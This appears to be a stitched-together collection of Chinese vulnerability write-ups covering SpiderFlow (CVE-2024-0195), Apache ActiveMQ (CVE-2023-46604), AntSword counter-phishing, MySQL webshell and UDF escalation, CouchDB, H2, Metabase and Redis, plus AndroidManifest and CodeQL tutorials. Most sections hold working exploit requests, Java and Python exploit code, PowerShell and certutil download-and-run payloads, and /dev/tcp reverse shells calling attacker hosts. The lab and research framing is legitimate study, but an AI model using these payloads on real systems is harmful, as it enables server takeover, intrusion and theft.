SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)
1. 漏洞介绍
SpiderFlow爬虫平台项目中
spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionName、parameters 或 script 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷。
2. 流程图分析
3. 搭建过程
1. IDEA Gitee 快速搭建
URL : https://gitee.com/jmxd/spider-flow.git
2. 数据库搭建
我这里使用的是MySQL5.7,然后使用Navicat运行项目中spider-flow\db\spiderflow.sql这个SQL文件会在数据库中自动生成所需要的数据库:
3. 数据库连接
然后修改数据库配置文件application.properties,路径为:spider-flow\spider-flow-web\src\main\resources\application.properties
4. 运行
spider-flow\spider-flow-web\src\main\java\org\spiderflow\SpiderApplication.java
然后访问路径http://localhost:8088/,成功搭建!
4. 利用过程
首先我们直接在IDEA中寻找危险函数eval,使用Ctrl+shift+F文件搜索:
发现这里有个validScript函数调用了eval危险函数:
public static void validScript(String functionName,String parameters,String script) throws Exception {
new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
}
然后这里的我们去看看eval具体执行的参数是怎么生成的:
private static String concatScript(String functionName,String parameters,String script){
StringBuffer scriptBuffer = new StringBuffer();
scriptBuffer.append("function ")
.append(functionName)
.append("(")
.append(parameters == null ? "" : parameters)
.append("){")
.append(script)
.append("}");
return scriptBuffer.toString();
}
可以看到concatScript 方法中,它接受三个参数 functionName、parameters 和 script,然后将它们拼接成一个 JavaScript 函数的字符串。这里它没有任何的过滤。所以我们可以尝试构造恶意的这三个参数实现RCE。
在上面的函数中将产生如下的字符串:
function functionName(parameters){script}
很明显我们可以构造恶意的script来导致RCE:
例如script的值可以为}Java.type('java.lang.Runtime').getRuntime().exec('calc');{
这样的话我们最终的字符串将会变成:
function functionName(parameters){}Java.type('java.lang.Runtime').getRuntime().exec('calc');{}
然后最后在执行的时候就会直接定义一个函数后执行我们的Java恶意代码。
然后我们分析是哪个函数调用了validScript函数
public String saveFunction(Function entity) {
try {
ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());
super.saveOrUpdate(entity);
init();
return null;
} catch (Exception e) {
logger.error("保存自定义函数出错",e);
return ExceptionUtils.getStackTrace(e);
}
}
然后在FunctionController.java调用了saveFunction
@RestController
@RequestMapping("/function")
public class FunctionController {
......
@RequestMapping("/save")
public String save(Function function){
return functionService.saveFunction(function);
}
......
}
然后我们现在就可以去实际的功能点看需要哪些参数:
于是我们直接写出payload:
POST /function/save HTTP/1.1
Content-Length: 38
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost:8088
id=&name=rce¶meter=rce&script=}Java.type('java.lang.Runtime').getRuntime().exec('calc');{
成功命令执行弹出计算器:
修复方式
过滤好script参数
设置沙箱
5. 总结
这个项目在Gitee上面有7.4K的Star,有3.6K的fork记录,在实际部署上也不是很少,但是漏洞点出的不是很难主要是思路扩展,适宜入门。
Androidmanifest文件加固和对抗
前言
恶意软件为了不让我们很容易反编译一个apk,会对androidmanifest文件进行魔改加固,本文探索androidmanifest加固的常见手法以及对抗方法。这里提供一个恶意样本的androidmanifest.xml文件,我们学完之后可以动手实践。
1、Androidmanifest文件组成
这里贴一张经典图,主要描述了androidmanifest的组成
androidmanifest文件头部仅仅占了8个字节,紧跟其后的是StringPoolType字符串常量池
(为了方便我们观察分析,可以先安装一下010editor的模板,详细见2、010editor模板)
Magic Number
这个值作为头部,是经常会被魔改的,需要重点关注
StylesStart
该值一般为0,也是经常会发现魔改
StringPool
寻找一个字符串,如何计算?
1、获得字符串存放开放位置:0xac(172),此时的0xac是不带开头的8个字节
所以需要我们加上8,最终字符串在文件中的开始位置是:0xb4
2、获取第一个字符串的偏移,可以看到,偏移为0
3、计算字符串最终存储的地方: 0xb4 = 0xb4 + 0
读取字符串,以字节00结束
读取到的字符为:theme
总结:
stringpool是紧跟在文件头后面的一块区域,用于存储文件所有用到的字符串
这个地方呢,也是经常发生魔改加固的,比如:将StringCount修改为0xFFFFFF无穷大
在经过我们的手动计算和分析后,我们对该区域有了更深的了解。
2、010editor模板
使用010editor工具打开,安装模板库
搜索:androidmanifest.bt
安装完成且运行之后:
会发现完整的结构,帮助我们分析
3、使用AXMLPrinter2进行的排错和修复
用法十分简单:
java -jar AXMLPrinter2.jar AndroidManifest_origin.xml
会有一系列的报错,但是不要慌张,根据这些报错来对原androidmanifest.xml进行修复
意思是:出乎意料的0x80003(正常读取的数据),此时却读取到:0x80000
按照小端序,正常的数据应该是: 03 00 08
使用 010editor 打开
将其修复
保存,再次尝试运行AXMLPrinter2
好家伙还有错误,这个-71304363,不方便我们分析,将其转换为python的hex数据
NegativeArraySizeException 表示在创建数组的时候,数组的大小出现了负数。
androidmanifest加固后文件与正常的androidmanifest文件对比之后就可以发现魔改的地方。
将其修改回去
运行仍然报错,是个新错误:
再次去分析:
stringoffsets如此离谱,并且数组的大小变为了0xff
根据报错的信息,尝试把FF修改为24
再次运行
成功拿到反编译后的androidmanifest.xml文件
总结:
这个例子有三个魔改点经常出现在androidmanifest.xml加固
恶意软件通过修改这些魔改点来对抗反编译
CodeQL基本使用
0x01 安装codeql
去github下载一个对应版本的codeql捆绑包。
https://github.com/github/codeql-action/releases然后解压,这里我是解压到桌面
然后用添加到环境变量中 然后在任意位置输入codeql命令,如果能有以下提示就表示安装成功
然后下载vscode, 并且给vscode安装codeql扩展
0x02 创建codeql数据库
在使用 CodeQL 分析代码之前,需要创建一个 CodeQL 数据库。
创建codeql数据库命令:
codeql database create <database> --language=<language-identifier>
<database> 是创建数据库的路径 执行命令会自动创建一个文件夹
<language-identifier> 是选定的语言 比如java,python等
比如需要审计一个python程序,那么命令就可以如下 (注意这条命令需要在需要审计的源代码目录中使用,codeql默认是使用当前位置作为源文件目录)
codeql database create pythondb --language=python # 也可以用source-root指定源码路径 比如源码文件在d:/python_code codeql database create pythondb --language=python --source-root="d:/python_code"
然后准备好一份python的源代码。我这里是随便去github搜索了一份别人写好的代码
执行完毕后可以发现多了一个文件夹,这个就是codeql创建的数据库
0x03 codeql使用
打开vscode,打开源码文件夹
切换到codeql插件然后选择刚刚codeql创建的数据库文件夹
成功之后点击queries选项里面的蓝色字体,可以快速的创建一个ql查询文件。
选择对应的语法然后回车
成功如下
0x04 ql语法简介
分析一下自动生成的脚本文件是什么意思
import python // 用于引入Python语言的元数据和查询库 比如import java就是引用java的元数据和查询库 from File f // 引入文件(File)元数据的语法 select f, "Hello, world!" // (其实这是一条语句) select和sql中的select类似查询一个具体值
select关键字
和sql的select类似,查询一个字符串的结果。
from关键字
用于定义变量,格式如 from 变量类型 变量名, 如定义字符串变量str如下 (多个变量用逗号分隔)
from string str
from string str1, string str2
wher关键字
用于赋值和逻辑运算,比如where str = "abcde" 就是将str变量赋值为abcde字符串
where str1 = "a" and str2 = "b"
注意以上语句需要配合使用不能单独使用,这里是和编程语言的语法有一些区别,更加贴近于sql语法
还有一些内置的类,如Function 表示一个函数类
篇幅关系,更多语法查阅官方文档:https://codeql.github.com/docs/
0x05 实际使用
比如这里是用codeql查找sql注入,个人感觉codeql更加考验对于漏洞的理解,比起其他传统的代码审计工具,codeql显得更加灵活。
codeql其实自带了很多ql脚本,这些脚本可以帮助我们去查找漏洞最简单的方式就是使用 CodeQL CLI 捆绑包中包含的标准查询。
命令格式如下
codeql database analyze <database> --format=<format> --output=<output>
//format就是指定分析过程中生成的结果文件的格式,比如csv格式等
//output就是输出的文件名
比如
然后打开生成的result.csv文件 可以看到如下结果
比如查看第一个sql注入漏洞就可以打开/utils/query.py文件 然后找到12行,函数直接excute了sql语句。且中途未经过过滤。
在vs中使用codeql可以编写语句,比如查询query函数在哪个位置
点击鼠标就可以跳转到对应源码界面
然后还可以查询query函数有哪些地方调用了。
import python
from Call call, Name name
where call.getFunc() = name and name.getId() = "query" select call, call.getLocation(), "使用了query函数."
然后挑选一个函数去跟踪,发现字符串直接拼接到sql语句中。
Apache ActiveMQ 远程代码执行漏洞分析
漏洞简介
Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞(CNVD-2023-69477 CVE-2023-46604),攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。
影响版本
Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16
环境搭建
没有找到合适的 docker 镜像 ,尝试自己进行编写
可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile
docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7
结合 https://activemq.apache.org/version-5-getting-started
Dockerfile
FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616
CMD ["/start.sh"]
## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml
docker-compose.yml
version: "2.2"
services:
activemq:
build: .
ports:
- "8161:8161"
- "61616:61616"
./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616
漏洞分析
下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip
开启调试只需要修改 apache-activemq-5.18.2\bin\activemq
https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3 新版本的修复位置是在
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable
ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。
寻找调用该方法的位置
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable
继续向上寻找调用
网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析
org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal
继续向上寻找调用
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
我们看到此时 dsm 的值是基于传入的 dis.readByte();
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
ActiveMQ中默认的消息协议就是openwire
编写一个 ActiveMQ 的通信请求
public static void sendToActiveMQ() throws Exception {
/*
* 创建连接工厂,由 ActiveMQ 实现。构造方法参数
* userName 用户名
* password 密码
* brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号
*/
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");
//创建连接对象
Connection connection = connectionFactory.createConnection();
//启动连接
connection.start();
/*
* 创建会话,参数含义:
* 1.transacted - 是否使用事务
* 2.acknowledgeMode - 消息确认机制,可选机制为:
* 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息
* 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制
* 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制
*/
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
//创建目的地,也就是队列名
Destination destination = session.createQueue("q_test");
//创建消息生成者,该生成者与目的地绑定
MessageProducer mProducer = session.createProducer(destination);
//创建消息
Message message = session.createTextMessage("Hello, ActiveMQ");
//发送消息
mProducer.send(message);
connection.close();
}
前面的调用栈为
doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)
此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller
花式触发 ExceptionResponseMarshaller
现在我们的目的就是为了去调用 ExceptionResponseMarshaller
寻找触发 ActiveMQ 中的 ExceptionResponse
函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和
函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command
最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse); 来触发
public static void ExceptionResponseExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin","admin");
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
ExceptionResponse expetionResponse = new ExceptionResponse();
expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
ExploitSession.syncSendPacket(expetionResponse);
//ExploitSession.asyncSendPacket(expetionResponse);
//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
connection.close();
}
由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller
public static void ConnectionErrorExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin","admin");
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
ConnectionError connectionError = new ConnectionError();
connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
//ExploitSession.syncSendPacket(connectionError);
//ExploitSession.asyncSendPacket(connectionError);
((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
connection.close();
} public static void MessageAckExploit() throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin","admin");
connection.start();
ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageAck messageAck = new MessageAck();
messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
ExploitSession.syncSendPacket(messageAck);
//ExploitSession.asyncSendPacket(messageAck);
//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
connection.close();
}
通过数据流进行触发 ExceptionResponseMarshaller
主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller
String ip = "127.0.0.1";
int port = 61616;
String pocxml= "http://192.168.184.1:9090/poc.xml";
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0); //
out.writeByte(31); //dataType ExceptionResponseMarshaller
out.writeInt(1); //CommandId
out.writeBoolean(true); //ResponseRequired
out.writeInt(1); //CorrelationId
out.writeBoolean(true);
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF(pocxml);
//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
out.close();
os.close();
sck.close();
通过伪造类实现触发 ExceptionResponse
我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand
利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal
org.apache.activemq.transport.tcp.TcpTransport#oneway
通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类
/**
* A one way asynchronous send
*/
@Override
public void oneway(Object command) throws IOException {
checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
wireFormat.marshal(response, dataOut);
dataOut.flush();
}
将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>touch</value>
<value>/tmp/1.txt</value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞复现
利用蚁剑钓鱼上线CS
前言
中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)
关键实现
蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!
反制复现
环境准备:
想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。
影响的版本:AntSword < =v2.1.14
AntSword下载:https://github.com/AntSwordProject/antSword/releases
开源假webshell:https://github.com/MD-SEC/Anti_AntSword
1、蓝队故意在服务器放置假的webshell进行钓鱼
达到真实的效果可以添加一些提示信息,让红队上钩
<body>
AntSword password admin
</body>
</html>
红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)
在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线
<script type="text/javascript">
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
</script>
或者下载文件方式上线CS
</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>
注:payload一定要放开头,放后面可能由于html过大导致命令执行失败
可以自行编写攻击者点击钓鱼链接时的话术
2、红队开始利用蚁剑进行连接
模拟红队的文件浏览页面
模拟红队的命令行操作回显
3、开始钓鱼引诱红队
当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接
红队点击恶意链接,出现正常的帮助文档
将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下
帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS
修复建议
1、升级至 AntSword v2.1.15版本
2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开
最后
此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。
数据库攻防学习之MySQL
MySQL
0x01mysql学习
MySQL 是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。
0x02环境搭建
这里演示用,phpstudy搭建的环境,然后安装phpmyadmin
0x03漏洞复现
日志文件包含getshell
利用前提
知道网站路径,mysql版本大于5.0
利用条件 需要可读可写的权限,也就是高权限账号
所用到的命令
show variables like '%general%'; 查看日志读写功能
SET GLOBAL general_log='on';开启日志读写功能
select @@basedir; 查看mysql所在的绝对路径
SHOW VARIABLES LIKE"secure_file_priv";如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。
SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径
修改设置,该为开启,这样才能继续利用。
再次查询,可以发现已经发生了改变
访问验证
select '<?php eval($_POST["a"]);?>';
总结,如果SHOW VARIABLES LIKE"secure_file_priv";为NULL则没办法使用into outfile写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。
mysql udf提权
这里使用win10 +phpstudy,直接下个msyql就行了
udf提权是mysql的一种常见的提权方式。
什么是udf?
udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。
提权前提
获取mysql的控制权限。
mysql具有写入权限,即secure_file_priv的值为空。
show global variables like'%secure%';用这个查询
提权背景
拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限
提权实验
实验版本mysql 5.5 操作系统win10
需要udf文件,可以从sqlmap里获取或者msf中获取。
这里可以直接用国光师傅的写好udf16进制
https://www.sqlsec.com/tools/udf.htmlshow global variables like'%secure%';
如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。
secure_file_priv=''然后重启服务。
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。
这里我自己在目录下创建一个,也可以用NTFSADS方法创建目录,但有可能不成功。
http://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman
查询发现已经有了,然后进行文件写入。
路径D:phpstudy_proExtensionsMySQL5.5.29libplugin
如果有Can't open shared library 'udf.dll',切换成32位试试。
实战中不成功,可以轮流尝试。
创建自定义函数并且调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');
select sys_eval('dir');
发现已经成功并且是Administrator权限
couchdb数据库
漏洞介绍
ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用
漏洞复现
CVE-2017-12635
PUT发包创建用户
选择内网映射端口为5984的抓包访问
http://192.168.48.133:54944/_utils/#login这个为登陆应用
发包目的是增加用户,可以用bp或者postman
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host:
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 110
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
成功添加用户
CVE-2017-12636
CVE-2017-12636 exp 命令执行
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))
else:
host = session.get(target +
'/_membership').json()['all_nodes'][0]
session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')
h2database数据库
H2 是一个开源的嵌入式数据库引擎,纯 java实现的关系型数据库,不受平台的限制。
未授权访问
发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;
在JDBC URL输入这个语句点击connect即可未授权访问
RCE姿势
在VPS里面创建个sql文件,然后远程加载利用服务。
re_shell.sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
bash -i >& /dev/tcp/ip/7888 0>&1
远程加载姿势如下,填入python启动的ip和端口
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';
mongodb数据库
大致介绍一下
MongoDB是一个基于分布式文件存储的数据库
由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。
未授权访问漏洞
可以用msf检测
search mongodb
存在未授权访问漏洞
可以利用mongodb连接工具直接连接
metabase数据库分析
metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具
Metabase geojson任意文件读取漏洞 (CVE-2021-41277)
payload /api/geojson?url=file:/etc/passwd
Metabase 远程代码执行漏洞(CVE-2023-38646)
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase服务器的权限执行任意代码。
这里使用vulhub的docker环境,vulfocus可能有问题没复现成功
GET访问
/api/session/properties
exp
POST /api/setup/validate HTTP/1.1
Host: your-ip
Content-Type: application/json
{
"token": "token值",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$--=x",
"advanced-options": false,
"ssl": true
},
"name": "test",
"engine": "h2"
}
}
验证一下
python启动一个http服务,然后exec执行curl ip:8899/1.txt
python3 -m http.server 8899
验证成功
尝试反弹shell
未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell
创建个re_shell.sh,内容如下
!/bin/sh
bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'
执行 wget http://ip:port/re_shell.sh
执行
/bin/bash /tmp/re_shell.sh
成功反弹shell
数据库攻防学习之Redis
Redis
0x01 redis学习
在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。
0x02 环境搭建
这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。
ubuntu 20.04+docker
docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus
建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。
0x03漏洞复现
Redis Lua沙盒绕过 命令执行 CVE-2022-0543
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua 功能
